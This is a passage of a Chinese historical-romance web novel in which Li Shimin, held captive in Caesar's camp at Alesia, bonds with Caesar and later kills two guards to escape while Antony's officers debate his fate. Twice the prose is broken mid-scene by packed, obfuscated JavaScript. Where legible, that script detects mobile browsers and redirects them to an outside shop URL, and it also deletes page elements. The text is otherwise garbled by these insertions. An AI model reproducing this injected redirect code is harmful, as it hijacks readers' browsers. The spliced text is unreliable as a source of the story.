那声音并不特别响亮,甚至因为情绪激动而微微沙哑,但其中的威压与决绝,让帐外另外两名闻声赶来的士兵都硬生生刹住了脚步。 这个东方俘虏的武力他们见过,而且他们也都知道这是统帅的“新宠”。 帐内重新陷入一片死寂。只有李世民粗重的喘息声,在狭小的空间里回荡。 刚才那一瞬间爆发的力量与精准,是他征战十年刻入骨髓的本能。可发泄之后,涌上心头的却不是畅快,而是更深的空虚与无力。 他能打翻一张桌子,能砸倒一个士兵。 然后呢? 外面还有成千上万个士兵,还有深沟高垒,还有这个庞大而陌生的野蛮帝国。 就在这令人窒息的寂静与自我拷问中—— 帐帘,再一次被掀开了。 没有士兵粗暴的闯入,没有武器碰撞的声响。 只有一个披着深灰色外套的高大身影,静默地走了进来。他的动作很稳,带着一种与军营环境格格不入的、奇特的从容。 他没有立刻出声,也没有点燃油灯,只是静静站在门口,让眼睛适应黑暗,也让那个处于情绪爆发中的人有片刻缓冲。 然后他走向帐篷角落。那里有油灯和火石。他熟练地打火,一下,两下。火星溅落,引燃灯芯。 昏黄、温暖的光,缓缓充盈狭小空间。 凯撒端着油灯,转过身。 灯光首先照亮他的脸。深邃轮廓,岁月刻下的纹路,灰蓝色眼睛在火光映照下,不再是统帅的锐利威严,而是沉淀着复杂、近乎温柔的情绪。他依旧穿着半旧灰色丘尼卡,外罩深色士兵斗篷,像是刚从夜间岗位过来。 灯光移向帐篷中央。 李世民站在那里,穿着粗糙罗马亚麻衣衫,衣领微敞。黑发披散,几缕被汗贴在额角颊边。脸上还有未干泪痕——或许是梦中的,或许是方才情绪激荡时留下的——在灯光下反射微光。 那双总是沉静或高冷的眼睛,此刻红着,翻涌着尚未平息的暴风骤雨,还有被灯光突然照亮时的一丝狼狈和戒备。 凯撒将油灯放在尚完好的床沿,转过身,正面看向李世民。 他的脸上没有任何表情。没有责备,没有惊讶,没有怜悯,也没有统帅的威严。 只有一片深沉的、仿佛能包容一切的平静。 两人隔着几步的距离,在跳跃的灯火下,无声地对视着。 帐篷外,是阿莱西亚沉睡的、充满未知与敌意的蛮荒之夜。 帐篷内,是两个站在各自文明巅峰、却在此刻同时坠入命运漩涡的男人。 时间,仿佛在这一刻凝固了。 三、灯火下的深渊 帐外远处传来巡逻队换岗的模糊口令声,更显得帐内的寂静震耳欲聋。 凯撒先动了。他没有说话——语言在此刻多余无力。他端着油灯,走到翻倒的桌子旁,弯腰,用空着的手将桌子扶正。动作很稳,不急不缓。 然后蹲下身,开始捡拾较大陶片。一块,两块,小心堆放在桌角。姿态自然,没有刻意表现关怀,也没有流露出对狼藉的惊讶责备,就像处理一件再普通不过的日常琐事。 李世民看着他蹲在地上的背影,看着他专注捡拾碎片的手指,看着他被灯光勾勒出的、显得比平日更加可靠的肩背线条。胸腔里横冲直撞的怒火,奇异地、一点点平息,转化成更深、难以言喻的酸楚和悸动。 凯撒将大块碎片收拾好,又起身,从斗篷内袋掏出一块干净亚麻布——罗马士兵随身携带用于擦拭武器或汗水的。他走到李世民面前,没有直接将布递给他,而是迟疑了一下,然后抬起手,用布巾一角,轻柔地拭去李世民颊边未干泪痕。 手指隔着布巾,几乎感觉不到温度,但那小心翼翼的姿态,却比任何言语都更具冲击力。 李世民没有躲开,只是垂在身侧的手指,微微蜷缩了一下。他抬眼,看向近在咫尺的凯撒。油灯光芒在对方灰蓝色眼眸中跳跃,那里面的情绪太复杂,太深沉,有担忧,有关切,有理解,还有一种……李世民看不懂的、翻涌的暗潮。 凯撒擦干了那点湿痕,便收回了手。他将布巾折好,放在刚刚扶正的桌面上。然后退开半步,给了彼此一点呼吸空间。 他依然没有说话,只是看着李世民,目光沉静,仿佛在说:我在这里。我看到了。没关系。 李世民深吸一口气,又缓缓吐出。他转身,走到行军床边坐下,姿态有些疲惫,却不再紧绷。他指了指床沿另一侧,示意凯撒也坐。 两人并肩坐在简陋的床沿,距离不远不近,刚好能感受到彼此身体散发的微弱热量,却又保持着一种微妙的、心照不宣的尊重。 灯光在他们身后投下巨大的、交织在一起的影子,映在帐篷壁上。 这是他们第三次相见。 没有理想主义的共鸣与英雄情怀的激荡,也没有现实困境的分享与无声信任的交付。 这一次……剥去了所有外在的华饰与身份的负累,只剩下灯火下,两个被命运抛掷于此的、真实也脆弱的“人”。 沉默持续了片刻,却并不尴尬。某种更深厚的东西,在寂静中流淌。 终于,李世民开口了。 声音很轻,用的是凯撒完全无法理解的语言。音调抑扬顿挫,带着一种独特的韵律,与拉丁语的铿锵或希腊语的圆滑截然不同。 相识多日,在两人的交流中,肢体与绘图远多于语言,但当他偶尔发音时,那高亮、典雅、充满磁性的声音给凯撒留下了深刻的印象。 这正好与罗马演说术的激情澎湃、直接功利形成鲜明对比。 凯撒本人就是罗马最顶级的演说家。他对于语言的力量、声音的魅力有着病态的敏感和最高的鉴赏力。 起初只是低沉的、近乎自语的呢喃,语速缓慢,仿佛每个字都需要从记忆深处费力打捞。 “我的国家,东边是大海,北方是草原和雪山;南方是丛林蛮荒之地,烟瘴艰深,直达南海;西陲……是高山峻岭、千里惊砂,只有一条通道,经河西诸州连接西域……” “我推测,我是到了比西突厥汗国更遥远的西方,距离大唐也许有一万里,也许有两万里……” 凯撒听不懂任何一个词。但他听出了那声音里的东西——不再是愤怒,也不是脆弱,而是一种深沉浩渺的……怀念与痛楚。像一个人在黑夜中,对着远方看不见的故土,唱一首只有自己能懂的歌。 李世民知道凯撒听不懂,他才允许自己卸下所有防备,用母语诉说心事: “今天是武德九年八月十七,本该是我登基的第八天。颉利可汗和突利可汗的十万骑兵应该已经突破泾州防线,快到武功了吧?京师震动,长安告急……是打是和,怎么打,怎么和……生死存亡之际,我不在,谁来主持大局?”?? 他的语速渐渐加快,不再是零散的片段,而是像打开了闸门的江河,倾泻而出。 他说起挚爱的母亲,深爱的妻子,和曾经爱过的父亲…… 他讲他的抱负,他的责任,他未竟的事业,他放不下的牵挂…… 汉语的词汇丰富而精准,情感饱满又内敛,像奔流的河水,裹挟着一个帝王的骄傲、孤独、挣扎与最深切的无奈。? 凯撒放在膝盖上的手,无意识地收紧。 他没有发出任何声音,而是专注地扮演一个聆听者。在某个时刻判断对方需要支持的时候,没有犹豫,凯撒张开双臂,用一种坚定而不容拒绝、却又奇异地带着某种分寸感的力度,拥抱了李世民。 这不只是一个安慰的拥抱,更像是一种……承载。像坚固的堤岸拥抱决堤的洪水,像沉默的大地拥抱坠落的星辰。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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最著名的攻击来自他终身的政敌加图等人。他们反复传播一个丑闻:年轻的凯撒曾担任比提尼亚国王尼科美德斯四世的幕僚,并与之有染,扮演了被动角色。这个传闻被凯撒的政敌用了十几年,攻击他“是每个女人的男人,也是每个男人的女人”。 但这一次,不一样。 眼前这个人,不是可以轻易归类的情人或盟友。他是一道谜题,一个来自遥远文明的火种,一个骄傲与脆弱并存、威严与孤独交织的矛盾体。 凯撒欣赏他的智慧,震撼于他的文明,理解他的困境,甚至……被他此刻毫无防备流露出的真实所刺痛。 这种复杂的情感汇聚在一起,在肌肤相触的瞬间,发生了危险的质变。 那不再是单纯的欣赏或算计,而是一种更原始、更灼热的吸引。像探险家无法抗拒未知深渊的召唤,凯撒清晰地感觉到自己坚固的理性壁垒,在这个拥抱中产生了细微却无可挽回的裂痕。 他意识到,自己可能正在踏入一个比征服高卢、比对抗元老院更加危险,也更加……不受控制的领域。 帐内重归寂静,只有油灯芯燃烧发出的轻微噼啪声。两人之间流淌着一种心照不宣的、沉重的氛围。 今晚的时间不长,他们来不及交流更多。李世民拿起铁笔,神色变得比之前更加沉静,甚至带上一丝凝重。凯撒无声地拾起油灯,靠近他身前,为他驱散黑暗。 李世民先画了一个帐篷轮廓,在里面点了两个并排的小人。然后,在这顶帐篷外面画了许多双眼睛,杂乱地形成一个包围圈。 他画得很用力,笔尖在蜡板上留下深深的刻痕。 随后是关键的一步。他画了一个箭头,从那些外部眼睛,指向代表凯撒的那个小人。箭头画得有些犹豫,但线条清晰。 画完他抬起眼,目光深深地看着凯撒,眼神里充满了清晰的担忧、疑虑和一丝歉意。 1. 我们在此相处。 2. 但外面有很多眼睛在看着(监视/注意)。 3. 这些注意(或危险)指向你。 4. 这是我的疑问,也是我的担忧:是否因我之故,使你陷入了麻烦或危险? 这是一个非常高级的图画表达,它精准地传达了李世民基于多日观察所感知到的现实,以及对这位“知音”处境的敏锐关怀。他没有只考虑自身安危,而是意识到自己的特殊存在可能给唯一给予他理解的人带来负面影响。 凯撒完全看懂了。这不仅是对外部环境的描绘,更是一种隐含信任的提醒和一份沉甸甸的关怀。 心中那股刚刚确认的情感变得更加坚实——这个人即使在自身难保的境地,仍在为他的处境忧虑。 他沉默了几秒,然后伸出手,直接用手指抹掉了蜡板上代表外部眼睛的所有图案!动作干脆利落,带着一种不容置疑的抹除和不屑的意味。 抹净之后,他在原来画眼睛的地方,重新画了一个更大的的轮廓,将原来的两个小人笼罩在内。这个新轮廓线条粗重,仿佛一道屏障。 然后,他在这屏障外侧,画了几个非常简略的、背对着帐外站立的小人,手里画上短矛。这代表守卫。 接着,他指向代表自己的小人,然后抬起手,张开五指,再缓缓收拢握拳,做了一个 “掌控”的手势。 最后,他指向两个并排的小人,在两人之间画了一条双箭头的连接线,然后非常郑重地、缓慢地摇了摇头,否定了李世民那个指向他自己的疑问箭头所隐含的“连累”之意。 1. 外部窥探?无关紧要,我已清除/无视。 2. 我的领域由我掌控,我能提供保护。 3. 我拥有足够的力量和权威处理这些。 4. 我们之间的联结是相互的、对等的,不存在谁拖累谁。 他展现出的绝对自信与控制力,没有打消李世民的忧虑,反而再一次令李世民产生了怀疑。这不是一个普通士兵能有的权力! 但他没有问,就像对方也没有问他的真实身份一样。他们的相交是在剥离了外在身份的前提下,英雄不问出处,只以诚心相待。 凯撒率先打破了沉默。他知道自己必须离开了,黎明前他就要率军出发。他指了指帐篷外隐约泛起的、最沉郁的深蓝色天际,然后画下自己骑马远去的简图。 再配合清晰的拉丁语发音说:“Discedo, sed mox revertar。”(我要离开,但很快就会回来。) 李世民表示明白,心中却是一片冰冷的清明。他要随军出征,自己也不会久留……今日一别,后会无期。 他看着凯撒的眼睛,那里面的情绪太复杂,他无法完全解读,但那份专注与深沉,他感受到了。他用了一个新学不久、屋大维教给他的词,发音准确而清晰:“Valē.(保重/再见。)” 这是道别。既是回应凯撒的告知,也是……他对自己在这陌生世界一份温暖联结的隐晦诀别。 凯撒没有立刻离开,而是走到桌边,拿起那块沾了泪痕的亚麻布,仔细地将那卷《奥德赛》莎草纸上的水渍擦拭干净,动作轻柔得近乎珍惜。他将卷轴放好,又将铁笔和蜡板摆正。 做完这一切,他最后看了李世民一眼,仿佛要将此刻他的模样刻入记忆。 “Redībo.”(等我回来。) 然后,他吹熄了油灯。 帐篷重新陷入黑暗,但这一次,黑暗不再令人窒息。刚才那团温暖的灯火,似乎还在视网膜上残留着光晕,也在心里留下了一点微弱的余温。 凯撒掀开帐帘,无声地融入外面黎明前最深的寒意中。 李世民坐在床边,在浓稠的黑暗里,听着那沉稳的脚步声渐行渐远,最终消失在营地繁杂的夜声里。 他知道,天快亮了。 他也知道,有些相遇,注定短暂如灯火;而有些离别,早在相遇之初就已写定。 他缓缓躺下,拉过粗糙的毛毯盖住身体。闭眼前,最后映入脑海的,是那双灰蓝色的眼睛,在灯火熄灭前一瞬,里面翻涌的、他无法完全理解却为之悸动的深渊。 帐篷外,阿莱西亚的东方天际,终于撕开第一道苍白的裂隙。 长夜将尽。 而一些东西,已在黑夜中悄然点燃,或彻底寂灭。 15. 第十五章、脱出樊笼 第十五章、脱出樊笼 晨雾浓得化不开时,凯撒的军队已如一条铁灰色的长蛇,消失在阿莱西亚西侧的山道尽头。 军营仿佛被抽走了某种无形的压力,却又在另一种更散漫、更危险的气氛中重新凝固。 安东尼站在主帅大帐前,目送最后一面鹰旗消失在视野里,脸上没有表情,只有下颌线绷得死紧。 “你最好加强东区看守。”他对身后的德基穆斯·布鲁图斯说,“双岗。任何靠近的人,记录名字和停留时间。” “包括屋大维少爷?” “尤其是他。”安东尼的声音像淬了冰,“凯撒临走前说了什么,你我心里都清楚。那个祸患绝不能在他的‘教导’下,再弄出任何岔子。” 布鲁图斯点头,眼神里有一丝不易察觉的忧虑。他想起昨夜最后一次巡视特殊监狱的情景——帐篷里没有光,死寂一片,但布鲁图斯莫名觉得,那寂静之下,有什么东西正在缓慢而坚定地蓄积力量。 --- 东侧监区,那顶孤零零的帐篷里,李世民正坐在床沿。 晨光透过亚麻布料的缝隙,在地面投下几道斜长的、微微颤抖的光柱。尘埃在其中浮沉,像某种无声的倒计时。 今天屋大维没有来,这有些出乎李世民的预料。 他不认为是屋大维自己不想来。是有人阻止了他?有人开始防范?是他身边的亲信劝诫了他? 无论哪种可能,都指向同一个事实:“教学”这条合法的、相对安全的接触渠道——断了。 这是双重信号: 1. 外部压力增强:罗马正在收紧对他的控制网。 2. 信息渠道关闭:他失去了通过屋大维获取外部情报(哪怕是间接的)的机会。 屋大维的缺席,不是一个孤立事件。它是多米诺骨牌倒下的第一块。 李世民闭上眼睛,脑海中,长安的太极殿、颉利的铁骑、袁天罡的紫瞳、罗马的鹰旗交替闪现,最终凝聚成一个清晰的认知: “不能再等了。” 他原本的计划中,屋大维的教学至少还能持续两三天。这段时间,他可以: ·进一步完善拉丁语基础。 ·通过屋大维无意识的言谈,收集更多军营换防、巡逻规律等信息。 ·甚至,在极端情况下,屋大维本人可以成为一张“被动牌”。 但现在,这张牌被提前抽走了。 “所有预设条件中,最坏的一项提前发生了。” 他没有动,只是垂着眼,看着自己的双手。 掌心向上,指节分明,虎口和指腹的薄茧在昏暗中泛着微光。这是一双握过笔、批过奏章,也握过剑、拉过弓的手。此刻,它们安静地搁在膝头,指尖却在无人看见的角度,极其轻微地、有节奏地敲击着大腿。 他在计算。 按照军营惯例,主帅离营后的第一个天,是权力交接最微妙、也最混乱的时段。新的接替者需要时间巩固权威,各级军官需要时间揣摩新上司的脾性,而原本绷紧的神经,会在确认“最大的压力源离开”后,出现本能的第一波松懈。 这是第一个窗口期。 但还不够。 李世民抬起眼,目光落在桌角。那里,屋大维留下的那卷《奥德赛》莎草纸,正静静躺着。卷轴已经被凯撒昨夜擦拭干净,但边缘仍残留着水渍浸染的淡痕。 他抬起左手,手腕上,银链垂落,那枚雕刻着年轻雄鹿、橡叶环与八角星的徽章,正在晨光中流转着内敛而华VV暗光。这是屋大维身份的象征,是尤利乌斯-凯撒家族权力传承的图腾。 它不仅仅是一件信物。 在等级森严的罗马军营,尤其是在主帅离开、权力暂时真空的此刻,这样一件带有强烈家族标识的物品,在某些特定情境下,可以成为短暂的、极具迷惑性的“权威凭证”。 凌晨凯撒离开后,他反复推演过每个细节,最终确定:真正的逃亡窗口不在混乱的军营内部,而在那道敞开的营门之外。 但如何通过那道门? 守卫会对离开的罗马士兵进行例行检查。而他,从外貌(人种不同)到语言(语言不通)都属于见光死,绝对不能暴露一丝一毫。 他需要一个不必开口、却能让人瞬间犹豫的通行证。 再三考虑后,他决定不直接冲向营门——那太显眼,而是前往军营西北角的“信使马厩”。?? 那里有预备给紧急信使的快马,通常只有两三名老兵看守。更重要的是:信使外出执行任务时,往往携带象征统帅授权的信物,对营门守卫有优先通行权。 如果守卫看到一名“信使”疾驰而来,军服上沾着“执行任务沾染的污迹”,手腕上若隐若现闪烁着雄鹿徽章的银光——他会怎么做? 他会本能地敬畏、犹豫,甚至不敢细看。 那瞬间的犹豫,就是生路。 大约日落前一个时辰,奴隶贩子的队伍开始集结准备离开的时候,李世民行动了。 --- 安东尼瞥了一眼帐外开始倾斜的日影,快到第八时辰了,也是军团晚餐的时候。远处飘来大麦粥和咸鱼汤的味道,混合着柴火烟。再过不久,天就要黑了,夜哨就要上岗。 凯撒不在,他们几个心腹军官平时各忙各的,难得今天聚在一起享用晚餐。几杯烈酒下肚,话匣子打开了,话题自然转到当前军营最热门的事件上。 安东尼用匕首插起一块黑如冥界渡船木炭的羊肉,在众人面前晃了晃:“瞧见没?这才是罗马军人该吃的东西!硬!糙!能崩掉日耳曼蛮子一颗牙!” 他恶狠狠咬下一口,咀嚼声像在磨刀: “可咱们那位在‘东方文明体验营’的朋友呢?嗯?我今早去厨房转了转——猜猜我看见什么了?蜂蜜水煮梨子!梨子!软得跟元老院那些老家伙的脸皮一样!厨子还说‘凯撒大人吩咐了,那位客人肠胃娇弱’。” 他灌下一大口未经稀释的法勒年酒,哈出的酒气能点燃油灯: “娇弱?拉比埃努斯,你在萨比斯河边见过那个‘娇弱’的俘虏吗?他杀了咱们四个全副武装的步兵!其中一个被他用夺来的长矛捅穿了锁子甲缝!” 拉比埃努斯——那位以冷静著称的军团指挥官——慢条斯理地切着羊肉:“我看见了。像专业的角斗士,一击致命,但更……高效。” “高效!”安东尼拍桌子,“听听!连你都开始用文邹邹的词了!这就是问题所在!凯撒把他关在那顶帐篷里,不是当俘虏关,是当稀奇玩意儿关!每天投喂精致的食物,派自己外孙去当语言家教,半夜还亲自去‘文化交流’——” 他故意拉长“文化交流”四个字,语气里的讽刺浓得能腌肉。 “你们知道凯撒最大的毛病是什么吗?”安东尼环视众人,不等回答就自己接上,“他太聪明了。聪明到觉得世界上一切东西都可以被理解、被分类、被放进他那颗装了半个已知世界的脑袋里。” 他用匕首尖在木桌上画着看不见的地图: “高卢人?野蛮但勇猛,可以征服,可以驯化。日耳曼人?更野蛮但更直率,可以结盟也可以歼灭。埃及人?狡猾但腐朽,可以操控。这些都是可解的题。” 然后他用力一戳,匕首尖深深扎进木头: “但突然从天掉下来这么个玩意儿——穿着丝绸写着天书,眼神像皇帝却关在囚笼里。凯撒一看,乐了!新谜题!还是限量版!于是他开始干那套他最擅长也最危险的事:解码。” 卡勒努斯——永远先算经济账的财务官——谨慎地插话:“但我们必须承认,那些丝绸和那把剑的价值……” “价值?”安东尼打断他,瞪着眼睛,“卡勒努斯,你告诉我,如果一个蛮族酋长戴着一顶纯金王冠来投降,你会怎么做?” “呃……称重,熔化,铸成货币或勋章。” “对!”安东尼一拍大腿,“你会把那顶王冠拆了!因为它作为‘王冠’的意义只对蛮族有用,对我们罗马人来说,它就是金子!可凯撒在干什么?他在给那顶王冠量尺寸、画图样、研究上面的花纹象征什么狗屁祖先崇拜!他还想把它戴在自己头上试试感觉!” 帐篷里一阵低低的笑声。但笑声很快收敛,因为所有人都知道,安东尼说的不仅是笑话。 布鲁图斯——年轻气盛又刚被安东尼训过,说他对东区的看守空虚得像妓院的后门——谨慎地道:“统帅或许认为……他能提供关于东方的战略情报。” 安东尼冷笑:“战略情报?德基穆斯,我的年轻人,凯撒要是真想审问,方法多的是。冷水浸、烙铁烫、饿他三天——我保证连他祖宗的神叫什么都能问出来。可他选了最罗马精英的方式:派个家庭教师去。” 特雷波尼乌斯——那个整天和壕沟、攻城锤打交道的工兵专家——若有所思:“你们记得凯撒在亚历山大图书馆待了多久吗?整整三个月,每天和那些希腊学者混在一起,研究星象、几何、还有埃及人的巫术书。他对‘未知知识’有种……病态的饥渴。” 卡勒努斯精明地眯起眼:“而从经济角度,这位‘客人’可能是我们迄今为止最昂贵的俘虏。光是他身上那套行头,就够支付一个小型军团半年的军饷。更别提可能撬开的贸易路线。凯撒不是傻子,他在投资。” 瓦提尼乌斯不耐烦地挥挥手:“投资?我看是中邪了!我听说那天夜里营地骚乱,有人看见凯撒披着斗篷往东区去了——深更半夜!去干嘛?讨论‘月亮和太阳怎么组成光明’?” 众人又笑了,但笑声里带着不安。 特雷波尼乌斯皱起眉头:“我不明白。如果给他好待遇是为了换取情报或赎金,可这个东方人……我们连他是谁都搞不清。他的部落会为他付钱吗?他的国王会为我们打开商路吗?” “凯撒认为他‘值’。”拉比埃努斯还是那副慢条斯理的样子,“就像你认为一段城墙‘值’得花三天加固,哪怕敌人可能根本不从那边进攻。” “但那是军事判断!”特雷波尼乌斯反驳,“这是……什么?直觉?收藏癖?” 布鲁图斯忍不住插嘴,声音里带着委屈:“你们知道最荒唐的是什么吗?屋大维少爷昨天来找我,问我能不能给那个俘虏弄点‘更柔软的莎草纸’——说我们的纸太糙,刮伤了他写字的手!” 帐篷里顿时炸开锅。 “刮伤手?!” “诸神在上,我在日耳曼森林里被树枝刮掉的皮,比那家伙一辈子用过的纸都厚!” “下次是不是还要给他找鹅绒枕头?” 拉比埃努斯却放下手中的肉,若有所思:“屋大维最近状态如何?” 布鲁图斯压低声音,像在透露什么军事机密:“入迷了。我昨天看见他从那顶帐篷出来,眼睛亮得……不对劲。不像是在学语言,更像是在朝圣。” 一阵沉重的沉默。这个词的分量,在座每个人都懂。 卡勒努斯往前凑了凑:“说真的,你们觉得凯撒到底想从他身上得到什么?我清点过他的东西——那把剑的价值可能超过一个行省的年贡。但凯撒没把它熔了,反而天天放在自己桌上把玩。” 昆图斯·西塞罗——众人中受教育程度最高者——擦了擦嘴,用他那种在元老院旁听席上学来的腔调说:“也许不是‘得到’,而是‘确认’。” “确认什么?” “确认罗马不是世界的中心。”西塞罗的声音很轻,“我哥哥说,凯撒一直对亚历山大着迷。不是着迷于他的征服,而是着迷于他直到死前还在问‘更东边有什么’。那个东方人……可能就是‘更东边’的答案。” 西塞罗继续说,声音平稳得像在分析战局:“想想看。庞培老了,元老院那帮人只会耍嘴皮子。高卢人勇猛但混乱。日耳曼人野蛮但缺乏组织。凯撒今年四十八岁——他站在顶峰,往下看,全是需要他俯视的人。” 他顿了顿,目光扫过众人: “然后突然,天上掉下来一个人。这个人穿着他无法理解的华服,拿着他无法复制的武器,眼睛里有一种……和凯撒自己很像的东西。不是傲慢,是理所当然。理所当然地认为自己该被所有人服从,理所当然地认为自己的文明是世界的尺度。” “你是说……”布鲁图斯吞了口唾沫。 “我是说,凯撒可能累了。”拉比埃努斯缓缓道,“累了总是当房间里最聪明的人。所以当他发现另一个可能和他一样聪明——甚至可能来自更古老、更复杂文明的人时,他的第一反应不是‘威胁’,而是……终于。” “终于什么?”卡勒努斯皱眉。 “终于有个谜题,”拉比埃努斯纠正,声音里带着某种悲哀的洞见,“配得上他那颗永不满足的头脑了。”? 沉默再次降临。只有火盆的噼啪声和远处军营的隐约喧哗。 瓦提尼乌斯忽然一拍桌子:“要我说,最简单的方法就是‘意外’。一场帐篷火灾,一次食物中毒,或者干脆在‘转移过程中遭遇高卢残匪袭击’。一了百了。” 卡勒努斯反对,拉比埃努斯也不赞同。布鲁图斯更是直接拒绝,看守这位特殊囚犯可是凯撒当面交给他的重要任务。 特雷波尼乌斯看向安东尼:“那么,安东尼,你的建议是?” 安东尼抓起酒壶,给自己倒了满满一杯,却没有喝。他盯着杯中晃动的暗红色液体,像在凝视血: “我的态度很简单:那个东方人只有两种身份。要么是战利品——那我们就像对待所有战利品一样,估价、分类、处置。该卖的卖,该熔的熔。” 他抬起眼,灰蓝色的瞳孔在油灯光下冰冷如铁: “要么是敌人——那我们就像对待所有敌人一样,拔出剑,迎上去,杀到一方再也站不起来为止。” 他顿了顿,嘴角扯出一个毫无笑意的弧度: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224100|197539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “但凯撒给他发明了第三种身份:‘文明的对话者’。而这种身份,在战场上不存在。在政治中不存在。在罗马征服世界的道路上——更不存在。” 安东尼终于举起酒杯,但没有敬任何人,而是对着虚空: “所以我要做的,就是在他想起自己是狮子之前,把笼子焊死。在屋大维被他彻底‘启蒙’之前,把课堂封了。在凯撒的‘文明好奇心’害死我们所有人之前——” 他将酒一饮而尽,重重顿下酒杯: “——提醒他不要忘了罗马赖以生存、战无不胜的唯一法则是什么。” 帐篷里一片沉默。军官们交换着眼神,没有人说话,但每个人脸上都写着同样的认知:安东尼说的不是酒话,而是即将到来的风暴的前兆。 而就在这时—— 帐外传来慌乱的脚步声,皮靴在泥地里打滑的声音,还有年轻士兵带着哭腔的、破音的呼喊: “大人!东区——出事了——!” 安东尼手中的酒杯,缓缓放回桌面。 他没有立刻起身,而是闭上眼睛,深深吸了一口气,仿佛早已预见了这一刻的到来。 当他再次睁眼时,那双眼睛里所有的醉意、所有的讥讽、所有的怒火都消失了。 只剩下猎人的冰冷,和一种近乎悲哀的“果然如此”。 “看,”他对帐篷里的众人说,声音平静得像在陈述一个自然规律: “第一滴血,来了。” --- 高卢的九月深秋,太阳还没沉到西边林线,寒意已经提前漫进了军营。 午后,命令随第一阵北风抵达:所有哨位及巡逻队立即披挂羊毛斗篷。不过半个罗马时,军营里那些深棕色的身影便像秋末的蘑菇般齐刷刷冒了出来。 士兵裹着斗篷,有的竖起领子,手缩在里面,以抵御寒风。这使他们的轮廓显得更臃肿,也更统一,这非常有利于李世民的伪装——一件略微不合身的锁子甲在宽大、厚实的斗篷遮掩下,根本不会被察觉。 除了衣服上那种浓烈、陌生、带着死亡气息的混合体味,给他造成强烈的感官冲击,令他非常不适。如非必要,他不想靠近任何有味道的蛮族,他厌恶他们的气味。 他刮干净胡子,也剪掉了长发,伸到油灯的火焰上面如烟花一闪,迅速烧成灰烬。 他将皮绳绑在右手腕,徽章藏在锁子甲袖口内侧,但稍微调整角度,让雄鹿的轮廓能在动作间若隐若现。 然后他拿起守卫的短矛(标准制式武器),掀开帐帘,以罗马士兵的姿态和行进步伐走向阳光。 安东尼赶到东区时,靴底几乎要在夯土地上踏出火星。一路上那个叫卢修斯的巡逻兵语速快得像在倒豆子: “第一圈巡视,普布利乌斯和盖约站在老位置——一个守门,一个警戒侧翼。” “第二圈回来,只剩盖约——不,那人比盖约高半指,但当时天色暗了,我只当自己眼花,以为普布利乌斯去解手……” “第三圈——”卢修斯的声音开始发抖,“岗上根本没人了。” 安东尼已经掀开了帐帘。 血腥味混着泥土气扑面而来。两具尸体以诡异的角度交叠——普布利乌斯仰面倒在行军床边,颈侧有个细小的孔,血已经凝成深褐色;盖约则被塞在桌下,斗篷、锁子甲和内衬被剥得精空,只剩一件染血的亚麻底衣。 帐篷里整齐得令人发毛。床铺平整,洗漱用具归位,甚至那把剃刀都洗净摆正。只有翻倒的桌子和碎陶罐宣告着这里发生过什么。 “他在打扫战场。”安东尼的声音从牙缝里挤出来,每个音节都裹着冰碴,“杀了我们的人,换了我们的皮,还有闲心把帐篷收拾干净。” 他猛地转身,皮靴狠狠踹在翻倒的木桌上。桌子应声裂开,碎木飞溅。 “四个看守,两个被杀!两个打了八年仗的老兵!”安东尼的怒吼像受伤的野兽,在狭小帐篷里炸开,“被一个赤手空拳的俘虏——一个穿裙子、写字画画的东方人——像宰鸡一样放倒了?!还他妈剥了衣服?!” 卢修斯吓得后退两步,几乎撞到帐柱。 安东尼一步跨到年轻士兵面前,铁手套捏住他的下巴,力道大得几乎要捏碎骨头:“你第二圈巡视就发现少了一个人——为什么没立刻上报?!” “我、我以为普布利乌斯去解手了……”卢修斯的声音在发抖。 “解手?!”安东尼把他掼在地上,转身对所有人咆哮,“从现在开始,谁再敢用‘以为’两个字——我就让他去冥河边上‘以为’个够!” 他冲出帐篷,暮色正迅速吞噬军营。风卷着沙尘打在他脸上,像无数个嘲笑的耳光。 “传令——”安东尼的声音响彻东区,每个字都像战锤砸在铁砧上: “封闭所有营门!狗洞都给我堵死!” “骑兵队全部出动——现在!立刻!马上!搜索半径三十里!我要每片树林、每条河沟、每个高卢人的破茅屋都翻过来!” “下午离开的所有商队、奴隶贩子、补给车队——全他妈追回来!车厢拆了查!货物倒出来查!连运粪的车都给我把粪扒开查!” 他猛地拔出短剑,剑尖直指站在一旁的布鲁图斯: “而你——”安东尼的眼睛在渐暗的天色里烧着骇人的红光,“你亲手挑的‘可靠老兵’?你拍着胸脯保证的‘万无一失’?” 短剑的剑脊拍在布鲁图斯的胸甲上,发出刺耳的金属撞击声。布鲁图斯脸色发白,脚步不由得后退。 “现在躺在那帐篷里的,就是你的‘万无一失’!”安东尼的脸几乎贴到布鲁图斯脸上,唾沫星子混着怒火喷溅,“等凯撒回来——你知道他会看到什么?会听到什么?会怎么想?!” 他收回剑,转身对已经集结的骑兵队长暴喝: “听着!我要那个人——活要见人,死要见尸!但如果你们谁敢因为‘想抓活的’而让他跑掉——” 安东尼顿了顿,嘴角扯出一个狰狞的弧度: “那我就把你们钉死在阿莱西亚的城墙上,让秃鹫告诉后来人,什么叫军令如山!” 他最后看了一眼那顶染血的帐篷,声音突然降到冰点: “至于你,布鲁图斯。在抓到人之前,你最好日夜祈祷——祈祷我们能带回来一个会喘气的。” “否则……”他缓缓转过身,灰眼睛里翻涌着某种比杀意更可怕的东西,“你就自己去跟凯撒解释,为什么他‘特别关注’的俘虏,会变成一具需要你亲自抬到他面前的尸体。” 号角凄厉,马蹄如雷。 安东尼站在逐渐被黄昏吞没的营区中央,像一尊正在冷却的铁像。风卷着远方的喧嚣扑来,但他听见的只有自己血液冲刷耳膜的声音——和那个东方人在黑暗中,无声的嘲笑。 狩猎开始了。 而这一次,安东尼不打算留任何活路。 16. 